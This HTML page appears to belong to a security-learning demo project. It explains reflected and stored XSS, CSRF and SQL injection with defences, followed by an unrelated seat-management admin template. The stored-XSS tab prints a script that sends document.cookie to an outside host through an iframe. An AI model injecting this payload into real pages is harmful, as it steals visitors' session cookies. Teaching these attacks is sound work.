<html>
<head>
<title>Learn From Mistakes.</title>
<script src="/static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
<script src="/static/js/jquery.nouislider.js"></script>
<link rel="stylesheet" type="text/css" href="/static/css/common.css" />
<link rel="stylesheet" type="text/css" href="/static/css/slide.css" />
<link rel="stylesheet" type="text/css"
	href="/static/css/bootstrap.min.css" />
<link rel="stylesheet" type="text/css"
	href="/static/css/flat-ui.min.css" />
<link rel="stylesheet" type="text/css"
	href="/static/css/jquery.nouislider.css" />
<style type="text/css">
.middle {
	float: none;
	display: inline-block;
	vertical-align: middle;
}

pre {
	margin: 0px;
	padding: 0px;
	border: 0px;
}
</style>
</head>
<body>
	<div id="wrap">
		<!-- 左侧菜单栏目块 -->
		<div class="leftMeun" id="leftMeun">
			<div id="logoDiv">
				<p id="logoP">
					<img id="logo" alt="所以然" src="images/logo.png"><span>格物致知</span>
				</p>
			</div>
			<div id="personInfor">
				<p id="userName"></p>
				<p>
					<span></span>
				</p>
				<p>
					<a></a>
				</p>
			</div>
			<div class="meun-title">格物致知</div>
			<div class="meun-item meun-item-active" href="#sour"
				aria-controls="sour" role="tab" data-toggle="tab">项目简介</div>
			<div class="meun-item" href="#user" aria-controls="user" role="tab"
				data-toggle="tab">反射型XSS攻击</div>
			<div class="meun-item" href="#char" aria-controls="char" role="tab"
				data-toggle="tab">存储型XSS攻击</div>
			<div class="meun-item" href="#csrf" aria-controls="csrf" role="tab"
				data-toggle="tab">CSRF跨站请求伪造</div>
			<div class="meun-item" href="#chan" aria-controls="chan" role="tab"
				data-toggle="tab">SQL注入</div>
			<div class="meun-title">地区管理</div>
			<div class="meun-item" href="#scho" aria-controls="scho" role="tab"
				data-toggle="tab">
				<img src="images/icon_house_grey.png">地区管理
			</div>
			<div class="meun-item" href="#regu" aria-controls="regu" role="tab"
				data-toggle="tab">
				<img src="images/icon_rule_grey.png">规则管理
			</div>
			<div class="meun-item" href="#stud" aria-controls="stud" role="tab"
				data-toggle="tab">
				<img src="images/icon_card_grey.png">人员信息
			</div>
			<div class="meun-item" href="#sitt" aria-controls="sitt" role="tab"
				data-toggle="tab">
				<img src="images/icon_char_grey.png">座位管理
			</div>
		</div>
		<!-- 右侧具体内容栏目 -->
		<div id="rightContent">
			<a class="toggle-btn" id="nimei"> <i
				class="glyphicon glyphicon-align-justify"></i>
			</a>
			<!-- Tab panes -->
			<div class="tab-content">
				<!-- 资源管理模块 -->
				<div role="tabpanel" class="tab-pane active" id="sour">
					<!-- 简介 -->
					<div
						class="data-div col-md-offset-4 col-lg-offset-4col-xl-offset-4">
						<h4>Memo</h4>
						<ol start="0">
							<li>复现常犯错误，从错误中学习，Learn from mistakes.</li>
							<li>格物致知，推究事物的原理，达到知其然，知其所以然.</li>
							<li>自建框架，尝试新的技术框架，项目采用druid+jdialect+bootstrap(V3.3.7)+blade架构</li>
						</ol>
					</div>
				</div>
				<!--反射型XSS-->
				<div role="tabpanel" class="tab-pane" id="user">
					<div class="data-div">
						<h4>概念说明</h4>
						反射型XSS也被称为非持久性CSS。
						当用户访问一个带有XSS代码的URL请求时，服务器端接收数据后处理，然后把带有XSS代码的数据发送到浏览器，浏览器解析这段带有XSS代码的数据后，最终造成ＸＳＳ漏洞。
						这个过程就像一次反射，故称为反射型ＸＳＳ。 对这段话理解后，于是我们发现，完成xss攻击，需要具备两个条件：
						<ol>
							<li>向web页面注入恶意代码</li>
							<li>恶意代码能够被浏览器成功的执行</li>
						</ol>
						反射型攻击，恶意代码并没有保存在目标网站，而是通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。也就是说，反射型的xss经过了后端，但没有经过数据库.
						<h4>攻击过程演示</h4>
						<a href="/syr/rxss/form" target="_blank">反射型XSS演示>>>></a>
						<h4>防御手段</h4>
						<ol>
							<li>现代浏览器越来越安全了，譬如document.cookie在我测试的三个浏览器地址栏里都弄不到了</li>
							<li>现代web服务器也越来越安全了，cookie使用了httponly，通过脚本已经无法取到了</li>
							<li>多用SecurityFunc里的方法检测</li>
						</ol>
					</div>
				</div>
				<!-- 存储型XSS攻击 -->
				<div role="tabpanel" class="tab-pane" id="char">
					<div class="data-div">
						<h4>概念说明</h4>
						攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客，都有可能会执行这段恶意脚本，因此储存型XSS的危害会更大。
						存储型 XSS 一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或者服务端的数据库中。
						<h4>攻击过程</h4>
						论坛的富文本里将反射型XSS攻击的脚本直接写到正文里。
						<h4>防御手段</h4>
						通反射型XSS
					</div>
					<div>
						<pre>&lt;script&gt;</pre>
						<pre>var iframe = document.createElement("iframe");</pre>
						<pre>iframe.src="http://www.baidu.com?cookie="+document.cookie;</pre>
						<pre>&lt;/script&gt;</pre>
					</div>
					<div>
						<h4>总结</h4>
						<ol>
							<li>在访问量巨大的站点注入脚本攻击一些小网站从而导致小网站失去服务能力,肉鸡</li>
							<li>盗取COOKIE，获取敏感信息</li>
							<li>利用iframe、frame、XMLHttpRequest或上述Flash等方式，以（被攻击）用户的身份执行一些管理动作，或执行一些一般的如发微博、加好友、发私信等操作。</li>
							<li>Cookie与IP绑定</li>
						</ol>
					</div>
				</div>

				<!-- CRSF注入 -->
				<div role="tabpanel" class="tab-pane" id="csrf">
					<div class="data-div">
						<h4>概念说明</h4>
						<p>Cross site Request Forgery（跨站域请求伪造）</p>
						<p>
							<img src="/static/img/csrf.jpg" />
						</p>
						<ol>
							<li>首先用户 A 请求登陆了服务器 B，这时服务器 B 响应了用户 A，并且会返回唯一标识的该用户的 cookie
								信息。</li>
							<li>用户 A 在未退出服务器 B 时（即仍与服务器 B 保持会话状态），访问了带有恶意脚本的服务器 C，服务器 C
								响应给用户 A 一个恶意页面，并且通过恶意脚本伪装用户 A 向服务器 B 发送请求，此时服务器 B 误以为是用户 A
								请求，故响应并返回了用户 A 的 cookie 信息。</li>
							<li>服务器 C 收到用户 A 与 服务器 B 的cookie 信息后，保存起来，并利用该信息伪装成用户 A
								去访问服务器 B，再进行相应的破坏</li>
						</ol>
						<h4>攻击过程演示</h4>
						<a href="/syr/csrf/csrf" target="_blank">CSRF攻击演示</a>
						<h4>防御手段</h4>
						<p>其主要原因是服务器 B
							没有对请求的发起源进行合理的检验，即不加分析地认为请求者一定是正常的用户，就响应了用户信息给非法分子。</p>
						<ol>
							<li>验证 HTTP Referer</li>
							<li>在请求地址中添加 token 并验证</li>
							<li>在 HTTP 头中自定义属性并验证</li>
						</ol>
						<p>
							<a href="https://blog.csdn.net/xiaoxinshuaiga/article/details/80766369" target="_blank">参考CSRF攻击与解决</a>
							<a href="https://www.freebuf.com/articles/web/194698.html">JSON Hijacking</a>
						</p>
					</div>
				</div>

				<!-- SQL注入 -->
				<div role="tabpanel" class="tab-pane" id="chan">
					<div class="data-div">
						<h4>概念说明</h4>
						就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意的）SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。
						<h4>攻击过程演示</h4>
							<a href="/syr/sql/login" target="_blank">SQL注入演示</a>
						<h4>防御手段</h4>
						<ol>
						1.检测输入，做好验证
						2.用PreparedStatement
						</ol>
					</div>
				</div>
				<!--地区管理模块-->
				<div role="tabpanel" class="tab-pane" id="scho">

					<div class="check-div form-inline">
						<div class="col-xs-3">
							<button class="btn btn-yellow btn-xs" data-toggle="modal"
								data-target="#addSchool">添加地区</button>
						</div>
						<div class="col-lg-4 col-xs-5">
							<input type="text" class=" form-control input-sm "
								placeholder="输入文字搜索">
							<button class="btn btn-white btn-xs ">查 询</button>
						</div>
						<div class="col-lg-3 col-lg-offset-1 col-xs-3"
							style="padding-right: 40px; text-align: right; float: right;">
							<label for="paixu">排序:&nbsp;</label> <select class="form-control">
								<option>地区</option>
								<option>排名</option>
							</select>
						</div>
					</div>
					<div class="data-div">
						<div class="row tableHeader">
							<div class="col-xs-1 ">编码</div>
							<div class="col-xs-2 ">地区</div>
							<div class="col-xs-1">经度</div>
							<div class="col-xs-1">维度</div>
							<div class="col-xs-2">建筑信息</div>
							<div class="col-xs-2">人员列表</div>
							<div class="col-xs-2">操作</div>
						</div>
						<div class="tablebody">

							<div class="row">
								<div class="col-xs-1 ">1</div>
								<div class="col-xs-2">国际关系地区</div>
								<div class="col-xs-1">45.0</div>
								<div class="col-xs-1">95.90</div>
								<div class="col-xs-2">
									<a class="linkCcc">查看</a>
								</div>
								<div class="col-xs-2">
									<a class="linkCcc">查看</a>
								</div>
								<div class="col-xs-2">
									<button class="btn btn-success btn-xs" data-toggle="modal"
										data-target="#reviseSchool">修改</button>
									<button class="btn btn-danger btn-xs" data-toggle="modal"
										data-target="#deleteSchool">删除</button>
								</div>
							</div>

						</div>

					</div>
					<!--页码块-->
					<footer class="footer">
						<ul class="pagination">
							<li><select>
									<option>1</option>
									<option>2</option>
									<option>3</option>
									<option>4</option>
									<option>5</option>
									<option>6</option>
									<option>7</option>
									<option>8</option>
									<option>9</option>
									<option>10</option>
							</select> 页</li>
							<li class="gray">共20页</li>
							<li><i class="glyphicon glyphicon-menu-left"> </i></li>
							<li><i class="glyphicon glyphicon-menu-right"> </i></li>
						</ul>
					</footer>

					<!--弹出添加用户窗口-->
					<div class="modal fade" id="addSchool" role="dialog"
						aria-labelledby="gridSystemModalLabel">
						<div class="modal-dialog" role="document">
							<div class="modal-content">
								<div class="modal-header">
									<button type="button" class="close" data-dismiss="modal"
										aria-label="Close">
										<span aria-hidden="true">&times;</span>
									</button>
									<h4 class="modal-title" id="gridSystemModalLabel">添加地区</h4>
								</div>
								<div class="modal-body">
									<div class="container-fluid">
										<form class="form-horizontal">
											<div class="form-group ">
												<label for="sName" class="col-xs-3 control-label">地区名称：</label>
												<div class="col-xs-8 ">
													<input type="email" class="form-control input-sm duiqi"
														id="sName" placeholder="">
												</div>
											</div>
											<div class="form-group ">
												<label for="sName" class="col-xs-3 control-label">经度：</label>
												<div class="col-xs-8 ">
													<input type="email" class="form-control input-sm duiqi"
														id="sName" placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sLink" class="col-xs-3 control-label">纬度：</label>
												<div class="col-xs-8 ">
													<input type="" class="form-control input-sm duiqi"
														id="sLink" placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sOrd" class="col-xs-3 control-label">简称：</label>
												<div class="col-xs-8">
													<input type="" class="form-control input-sm duiqi"
														id="sOrd" placeholder="">
												</div>
											</div>
										</form>
									</div>
								</div>
								<div class="modal-footer">
									<button type="button" class="btn btn-xs btn-white"
										data-dismiss="modal">取 消</button>
									<button type="button" class="btn btn-xs btn-green">保 存</button>
								</div>
							</div>
							<!-- /.modal-content -->
						</div>
						<!-- /.modal-dialog -->
					</div>
					<!-- /.modal -->

					<!--弹出修改用户窗口-->
					<div class="modal fade" id="reviseSchool" role="dialog"
						aria-labelledby="gridSystemModalLabel">
						<div class="modal-dialog" role="document">
							<div class="modal-content">
								<div class="modal-header">
									<button type="button" class="close" data-dismiss="modal"
										aria-label="Close">
										<span aria-hidden="true">&times;</span>
									</button>
									<h4 class="modal-title" id="gridSystemModalLabel">修改地区</h4>
								</div>
								<div class="modal-body">
									<div class="container-fluid">
										<form class="form-horizontal">
											<div class="form-group ">
												<label for="sName" class="col-xs-3 control-label">地区名称：</label>
												<div class="col-xs-8 ">
													<input type="email" class="form-control input-sm duiqi"
														id="sName" placeholder="">
												</div>
											</div>
											<div class="form-group ">
												<label for="sName" class="col-xs-3 control-label">经度：</label>
												<div class="col-xs-8 ">
													<input type="email" class="form-control input-sm duiqi"
														id="sName" placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sLink" class="col-xs-3 control-label">纬度：</label>
												<div class="col-xs-8 ">
													<input type="" class="form-control input-sm duiqi"
														id="sLink" placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sOrd" class="col-xs-3 control-label">简称：</label>
												<div class="col-xs-8">
													<input type="" class="form-control input-sm duiqi"
														id="sOrd" placeholder="">
												</div>
											</div>
										</form>
									</div>
								</div>
								<div class="modal-footer">
									<button type="button" class="btn btn-xs btn-white"
										data-dismiss="modal">取 消</button>
									<button type="button" class="btn btn-xs btn-green">保 存</button>
								</div>
							</div>
						</div>
					</div>

					<!--弹出删除用户警告窗口-->
					<div class="modal fade" id="deleteSchool" role="dialog"
						aria-labelledby="gridSystemModalLabel">
						<div class="modal-dialog" role="document">
							<div class="modal-content">
								<div class="modal-header">
									<button type="button" class="close" data-dismiss="modal"
										aria-label="Close">
										<span aria-hidden="true">&times;</span>
									</button>
									<h4 class="modal-title" id="gridSystemModalLabel">提示</h4>
								</div>
								<div class="modal-body">
									<div class="container-fluid">确定要删除该地区？删除后不可恢复！</div>
								</div>
								<div class="modal-footer">
									<button type="button" class="btn btn-xs btn-white"
										data-dismiss="modal">取 消</button>
									<button type="button" class="btn btn-xs btn-danger">保
										存</button>
								</div>
							</div>
							<!-- /.modal-content -->
						</div>
						<!-- /.modal-dialog -->
					</div>
					<!-- /.modal -->

				</div>
				<!--规则管理模块-->
				<div role="tabpanel" class="tab-pane" id="regu"
					style="padding-top: 50px;">
					<div class="data-div">
						<div class="tablebody col-lg-10 col-lg-offset-1">
							<div class="row">
								<div class="col-xs-3" style="padding-right: 0;">签到超时时间</div>
								<div class="col-xs-7 expand-col">
									<div class="slider-minmax1"></div>
									<div class="row top100">
										<span class="left">0</span> <span class="right">30</span>
									</div>
								</div>
								<div class="col-xs-2">
									<button class="btn btn-xs btn-white">默认值</button>
								</div>
							</div>
							<div class="row">
								<div class="col-xs-3" style="padding-right: 0;">抢座超时时间</div>
								<div class="col-xs-7 expand-col">
									<div class="slider-minmax2"></div>
									<div class="row top100">
										<span class="left">0</span> <span class="right">15</span>
									</div>
								</div>
								<div class="col-xs-2">
									<button class="btn btn-xs btn-white">默认值</button>
								</div>
							</div>

							<div class="row">
								<div class="col-xs-3" style="padding-right: 0;">临时离开超时时间</div>
								<div class="col-xs-7 expand-col">
									<div class="slider-minmax3"></div>
									<div class="row top100">
										<span class="left">0</span> <span class="right">60</span>
									</div>
								</div>
								<div class="col-xs-2">
									<button class="btn btn-xs btn-white">默认值</button>
								</div>
							</div>
							<div class="row">
								<div class="col-xs-3" style="padding-right: 0;">违约次数冻结上限</div>
								<div class="col-xs-7 expand-col">
									<div class="slider-minmax4"></div>
									<div class="row top100">
										<span class="left">0</span> <span class="right">100</span>
									</div>
								</div>
								<div class="col-xs-2">
									<button class="btn btn-xs btn-white">默认值</button>
								</div>
							</div>
							<div class="row">
								<div class="col-xs-3" style="padding-right: 0;">可预约天数</div>
								<div class="col-xs-7 expand-col">
									<div class="slider-minmax5"></div>
									<div class="row top100">
										<span class="left">0</span> <span class="right">7</span>
									</div>
								</div>
								<div class="col-xs-2">
									<button class="btn btn-xs btn-white">默认值</button>
								</div>
							</div>
							<div class="row">
								<div class="col-xs-3" style="padding-right: 0;">最大未完成预约数</div>
								<div class="col-xs-7 expand-col">
									<div class="slider-minmax6"></div>
									<div class="row top100">
										<span class="left">0</span> <span class="right">10</span>
									</div>
								</div>
								<div class="col-xs-2">
									<button class="btn btn-xs btn-white">默认值</button>
								</div>
							</div>
							<div class="modal-footer">
								<button type="button" class="btn btn-xs btn-white"
									data-dismiss="modal">取 消</button>
								<button type="button" class="btn btn-xs btn-green">保 存</button>
							</div>
						</div>
					</div>
				</div>
				<!--时间段管理模块-->
				<div role="tabpanel" class="tab-pane" id="time">
					<div class="check-div form-inline">
						<span href="#sitt" aria-controls="sitt" role="tab"
							data-toggle="tab" style="cursor: pointer;"><span
							class="glyphicon glyphicon glyphicon-chevron-left"></span>&nbsp;&nbsp;返回上一页</span>

						&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
						&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
						&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
						&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
						&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
						&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
						<button class="btn btn-yellow btn-xs " data-toggle="modal"
							data-target="#addTime">添加时间段</button>

					</div>
					<div class="data-div">
						<div class="row tableHeader">
							<div class="col-xs-3 ">编码</div>
							<div class="col-xs-3">开始</div>
							<div class="col-xs-3">结束</div>

							<div class="col-xs-3">操作</div>
						</div>
						<div class="tablebody">

							<div class="row">
								<div class="col-xs-3 ">6426398978</div>
								<div class="col-xs-3">10:10</div>
								<div class="col-xs-3">19:30</div>
								<div class="col-xs-3">
									<button class="btn btn-success btn-xs" data-toggle="modal"
										data-target="#changeTime">修改</button>
									<button class="btn btn-danger btn-xs" data-toggle="modal"
										data-target="#deleteTime">删除</button>
								</div>
							</div>

						</div>

					</div>
					<!--页码块-->
					<footer class="footer">
						<ul class="pagination">
							<li><select>
									<option>1</option>
									<option>2</option>
									<option>3</option>
									<option>4</option>
									<option>5</option>
									<option>6</option>
									<option>7</option>
									<option>8</option>
									<option>9</option>
									<option>10</option>
							</select> 页</li>
							<li class="gray">共20页</li>
							<li><i class="glyphicon glyphicon-menu-left"> </i></li>
							<li><i class="glyphicon glyphicon-menu-right"> </i></li>
						</ul>
					</footer>

					<!--弹出增加时间段窗口-->
					<div class="modal fade" id="addTime" role="dialog"
						aria-labelledby="gridSystemModalLabel">
						<div class="modal-dialog" role="document">
							<div class="modal-content">
								<div class="modal-header">
									<button type="button" class="close" data-dismiss="modal"
										aria-label="Close">
										<span aria-hidden="true">&times;</span>
									</button>
									<h4 class="modal-title" id="gridSystemModalLabel">时间段设置</h4>
								</div>
								<div class="modal-body">
									<div class="container-fluid">
										<form class="form-horizontal">
											<div class="form-group ">
												<label for="sName" class="col-xs-3 control-label">开始时间：</label>
												<div class="col-xs-8 ">
													<input type="email" class="form-control input-sm"
														id="sName" placeholder="">
												</div>
											</div>
											<div class="form-group ">
												<label for="sName" class="col-xs-3 control-label">结束时间：</label>
												<div class="col-xs-8 ">
													<input type="email" class="form-control input-sm"
														id="sName" placeholder="">
												</div>
											</div>
										</form>
									</div>
								</div>
								<div class="modal-footer">
									<button type="button" class="btn btn-xs btn-white"
										data-dismiss="modal">取 消</button>
									<button type="button" class="btn btn-xs btn-green">保 存</button>
								</div>
							</div>
							<!-- /.modal-content -->
						</div>
						<!-- /.modal-dialog -->
					</div>
					<!-- /.modal -->

					<!--修改增加时间段窗口-->
					<div class="modal fade" id="changeTime" role="dialog"
						aria-labelledby="gridSystemModalLabel">
						<div class="modal-dialog" role="document">
							<div class="modal-content">
								<div class="modal-header">
									<button type="button" class="close" data-dismiss="modal"
										aria-label="Close">
										<span aria-hidden="true">&times;</span>
									</button>
									<h4 class="modal-title" id="gridSystemModalLabel">修改时间段</h4>
								</div>
								<div class="modal-body">
									<div class="container-fluid">
										<form class="form-horizontal">
											<div class="form-group ">
												<label for="sName" class="col-xs-3 control-label">开始时间：</label>
												<div class="col-xs-8 ">
													<input type="email" class="form-control input-sm duiqi"
														id="sName" placeholder="">
												</div>
											</div>
											<div class="form-group ">
												<label for="sName" class="col-xs-3 control-label">结束时间：</label>
												<div class="col-xs-8 ">
													<input type="email" class="form-control input-sm duiqi"
														id="sName" placeholder="">
												</div>
											</div>
										</form>
									</div>
								</div>
								<div class="modal-footer">
									<button type="button" class="btn btn-xs btn-white"
										data-dismiss="modal">取 消</button>
									<button type="button" class="btn btn-green btn-xs">保 存</button>
								</div>
							</div>
							<!-- /.modal-content -->
						</div>
						<!-- /.modal-dialog -->
					</div>
					<!-- /.modal -->
					<!--弹出删除时间段警告窗口-->
					<div class="modal fade" id="deleteTime" role="dialog"
						aria-labelledby="gridSystemModalLabel">
						<div class="modal-dialog" role="document">
							<div class="modal-content">
								<div class="modal-header">
									<button type="button" class="close" data-dismiss="modal"
										aria-label="Close">
										<span aria-hidden="true">&times;</span>
									</button>
									<h4 class="modal-title" id="gridSystemModalLabel">提示</h4>
								</div>
								<div class="modal-body">
									<div class="container-fluid">确定要删除该时间段？</div>
								</div>
								<div class="modal-footer">
									<button type="button" class="btn btn-xs btn-white"
										data-dismiss="modal">取 消</button>
									<button type="button" class="btn btn-danger btn-xs">保
										存</button>
								</div>
							</div>
							<!-- /.modal-content -->
						</div>
						<!-- /.modal-dialog -->
					</div>
					<!-- /.modal -->

				</div>
				<!--座位管理模块-->
				<div role="tabpanel" class="tab-pane" id="sitt">

					<div class="check-div form-inline" style="">
						<div class="col-lg-4 col-xs-7 col-md-6">
							<button class="btn btn-yellow btn-xs" data-toggle="modal"
								data-target="#addBuilding">添加楼宇</button>
							<label for="paixu">楼宇:&nbsp;</label> <select
								class=" form-control">
								<option>第一教学楼</option>
								<option>逸夫楼</option>
								<option>综合楼</option>
								<option>图书馆</option>
							</select>
							<button class="btn btn-white btn-xs ">修 改</button>
						</div>
						<div class="col-lg-4 col-lg-offset-4 col-xs-4 col-md-5 "
							style="padding-right: 40px; text-align: right;">
							<input type="text" class=" form-control input-sm "
								placeholder="输入文字搜索">
							<button class="btn btn-white btn-xs ">查 询</button>
						</div>
					</div>
					<div class="data-div">
						<div class="row tableHeader">
							<div class="col-xs-2 " style="padding-left: 20px;">楼层</div>
							<div class="col-xs-3" style="padding-left: 20px;">区域</div>
							<div class="col-xs-2" style="padding-left: 2px;">座位数</div>
							<div class="col-xs-2">空余座位</div>
							<div class="col-xs-3">操作</div>
						</div>
						<div class="tablebody">

							<div class="sitTable">
								<table class="table  table-responsive">
									<tr>
										<td valign="middle" class="col-xs-2" rowspan="3">图书馆第一层</td>
										<td class="col-xs-3">第一自习室</td>
										<td class="col-xs-2">2</td>
										<td class="col-xs-2" style="padding-left: 40px !important;">3</td>
										<td class="col-xs-3" style="padding-left: 50px !important;">
											<a class="linkCcc" href="#sitDetail" aria-controls="char"
											role="tab" data-toggle="tab">座位信息</a> <a class="linkCcc"
											href="#time" aria-controls="char" role="tab"
											data-toggle="tab">时间段设置</a>
										</td>
									</tr>
									<tr>
										<td class="col-xs-3">第一自习室</td>
										<td class="col-xs-2">2</td>
										<td class="col-xs-2" style="padding-left: 40px !important;">3</td>
										<td class="col-xs-3" style="padding-left: 50px !important;">
											<a class="linkCcc" href="#sitDetail" aria-controls="char"
											role="tab" data-toggle="tab">座位信息</a> <a class="linkCcc"
											href="#time" aria-controls="char" role="tab"
											data-toggle="tab">时间段设置</a>
										</td>
									</tr>
									<tr>
										<td class="col-xs-3">第一自习室</td>
										<td class="col-xs-2">2</td>
										<td class="col-xs-2" style="padding-left: 40px !important;">3</td>
										<td class="col-xs-3" style="padding-left: 50px !important;">
											<a class="linkCcc" href="#sitDetail" aria-controls="char"
											role="tab" data-toggle="tab">座位信息</a> <a class="linkCcc"
											href="#time" aria-controls="char" role="tab"
											data-toggle="tab">时间段设置</a>
										</td>
									</tr>
								</table>
							</div>

						</div>

					</div>
					<!--页码块-->
					<footer class="footer">
						<ul class="pagination">
							<li><select>
									<option>1</option>
									<option>2</option>
									<option>3</option>
									<option>4</option>
									<option>5</option>
									<option>6</option>
									<option>7</option>
									<option>8</option>
									<option>9</option>
									<option>10</option>
							</select> 页</li>
							<li class="gray">共20页</li>
							<li><i class="glyphicon glyphicon-menu-left"> </i></li>
							<li><i class="glyphicon glyphicon-menu-right"> </i></li>
						</ul>
					</footer>

					<!--弹出添加楼宇窗口-->
					<div class="modal fade" id="addBuilding" role="dialog"
						aria-labelledby="gridSystemModalLabel">
						<div class="modal-dialog" role="document">
							<div class="modal-content">
								<div class="modal-header">
									<button type="button" class="close" data-dismiss="modal"
										aria-label="Close">
										<span aria-hidden="true">&times;</span>
									</button>
									<h4 class="modal-title" id="gridSystemModalLabel">添加楼宇</h4>
								</div>
								<div class="modal-body">
									<div class="container-fluid">
										<form class="form-horizontal">
											<div class="form-group ">
												<label for="sName" class="col-xs-3 control-label">楼层：</label>
												<div class="col-xs-8 ">
													<input type="email" class="form-control input-sm duiqi"
														id="sName" placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sLink" class="col-xs-3 control-label">区域：</label>
												<div class="col-xs-8 ">
													<input type="" class="form-control input-sm duiqi"
														id="sLink" placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sOrd" class="col-xs-3 control-label">座位数：</label>
												<div class="col-xs-8">
													<input type="" class="form-control input-sm duiqi"
														id="sOrd" placeholder="">
												</div>
											</div>
										</form>
									</div>
								</div>
								<div class="modal-footer">
									<button type="button" class="btn btn-xs btn-white"
										data-dismiss="modal">取 消</button>
									<button type="button" class="btn btn-xs btn-green">保 存</button>
								</div>
							</div>
							<!-- /.modal-content -->
						</div>
						<!-- /.modal-dialog -->
					</div>
					<!-- /.modal -->

					<!--弹出修改用户窗口-->
					<div class="modal fade" id="reviseUser" role="dialog"
						aria-labelledby="gridSystemModalLabel">
						<div class="modal-dialog" role="document">
							<div class="modal-content">
								<div class="modal-header">
									<button type="button" class="close" data-dismiss="modal"
										aria-label="Close">
										<span aria-hidden="true">&times;</span>
									</button>
									<h4 class="modal-title" id="gridSystemModalLabel">修改用户</h4>
								</div>
								<div class="modal-body">
									<div class="container-fluid">
										<form class="form-horizontal">
											<div class="form-group ">
												<label for="sName" class="col-xs-3 control-label">用户名：</label>
												<div class="col-xs-8 ">
													<input type="email" class="form-control input-sm"
														id="sName" placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sLink" class="col-xs-3 control-label">真实姓名：</label>
												<div class="col-xs-8 ">
													<input type="" class="form-control input-sm" id="sLink"
														placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sOrd" class="col-xs-3 control-label">电子邮箱：</label>
												<div class="col-xs-8">
													<input type="" class="form-control input-sm" id="sOrd"
														placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sKnot" class="col-xs-3 control-label">电话：</label>
												<div class="col-xs-8">
													<input type="" class="form-control input-sm" id="sKnot"
														placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sKnot" class="col-xs-3 control-label">地区：</label>
												<div class="col-xs-8">
													<input type="" class="form-control input-sm" id="sKnot"
														placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="sKnot" class="col-xs-3 control-label">权限：</label>
												<div class="col-xs-8">
													<input type="" class="form-control input-sm" id="sKnot"
														placeholder="">
												</div>
											</div>
											<div class="form-group">
												<label for="situation" class="col-xs-3 control-label">状态：</label>
												<div class="col-xs-8">
													<label class="control-label" for="anniu"> <input
														type="radio" name="situation" id="normal">正常
													</label> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <label
														class="control-label" for="meun"> <input
														type="radio" name="situation" id="forbid"> 禁用
													</label>
												</div>
											</div>
										</form>
									</div>
								</div>
								<div class="modal-footer">
									<button type="button" class="btn btn-xs btn-xs btn-white"
										data-dismiss="modal">取 消</button>
									<button type="button" class="btn btn-xs btn-green">保 存</button>
								</div>
							</div>
							<!-- /.modal-content -->
						</div>
						<!-- /.modal-dialog -->
					</div>
					<!-- /.modal -->

					<!--弹出删除用户警告窗口-->
					<div class="modal fade" id="deleteUser" role="dialog"
						aria-labelledby="gridSystemModalLabel">
						<div class="modal-dialog" role="document">
							<div class="modal-content">
								<div class="modal-header">
									<button type="button" class="close" data-dismiss="modal"
										aria-label="Close">
										<span aria-hidden="true">&times;</span>
									</button>
									<h4 class="modal-title" id="gridSystemModalLabel">提示</h4>
								</div>
								<div class="modal-body">
									<div class="container-fluid">确定要删除该用户？删除后不可恢复！</div>
								</div>
								<div class="modal-footer">
									<button type="button" class="btn btn-xs btn-white"
										data-dismiss="modal">取 消</button>
									<button type="button" class="btn btn-green btn-xs">保 存</button>
								</div>
							</div>
							<!-- /.modal-content -->
						</div>
						<!-- /.modal-dialog -->
					</div>
					<!-- /.modal -->
				</div>
				<!--座位详情模块-->
				<div role="tabpanel" class="tab-pane" id="sitDetail">
					<div class="check-div form-inline">
						<span href="#sitt" aria-controls="sitt" role="tab"
							data-toggle="tab" style="cursor: pointer;"><span
							class="glyphicon glyphicon glyphicon-chevron-left"></span>&nbsp;&nbsp;返回上一页</span>
